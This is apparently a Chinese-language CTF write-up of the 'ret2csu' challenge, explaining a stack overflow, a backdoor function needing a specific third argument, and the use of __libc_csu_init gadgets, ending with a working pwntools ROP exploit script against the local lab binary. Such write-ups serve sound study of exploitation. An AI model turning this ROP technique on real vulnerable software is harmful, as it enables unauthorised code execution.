ret2csu

作者: n0va | 来源:发表于2019-02-27 20:42 被阅读0次

    先checksec一波,no canry ,no pie

    image.png

    从IDA可以看到程序存在栈溢出漏洞和一个后门函数

    漏洞函数 后门函数

    但是这个后门函数需要三个参数,a1,a2随意,a3需要为0xdeadcafebabebeef,找一下gadget

    image.png

    并没有如pop rdx , mov rdx的gadget,这个时候,我们可以利用__libc_csu_init中的gadget

    __libc_csu_init

    可以控制 r15,r14,r13的值 来达到控制 rdx,rsi,rdi的目的,这里因为有一个坑,setvbuf函数在调用的时候会将rdx赋值为0xffffffff,这样的话就不能成功调用ret2win了,所以找一个初始化函数调用一下
    exp:

    #-*-coding:utf-8-*-
    from pwn import *
    p = process('./ret2csu')
    context.log_level = 'debug'
    init = 0x600E10   #初始化函数地址
    rop_1 = 0x400880
    rop_2 = 0x40089a
    ret2win = 0x4007B1
    payload = 0x20*'a'
    payload += p64(0)  #rbp
    payload += p64(rop_2)
    payload += p64(0)   #rbx
    payload += p64(1)   #rbp
    payload += p64(init)   #r12
    payload += p64(0)   #r13
    payload += p64(0)   #r14
    payload += p64(0xdeadcafebabebeef)   #r15
    payload += p64(rop_1)
    payload += p64(0)   #add rsp,8可以理解为pop操作,但是没有pop到寄存器,而有丢弃掉
    payload += p64(0)   #rbx
    payload += p64(0)   #rbp
    payload += p64(0)   #r12
    payload += p64(0)   #r13
    payload += p64(0)   #r14
    payload += p64(0)   #r15
    payload += p64(ret2win)
    p.sendline(payload)
    p.interactive()
    

    相关文章

      网友评论

          本文标题:ret2csu

          本文链接:https://www.haomeiwen.com/subject/emlquqtx.html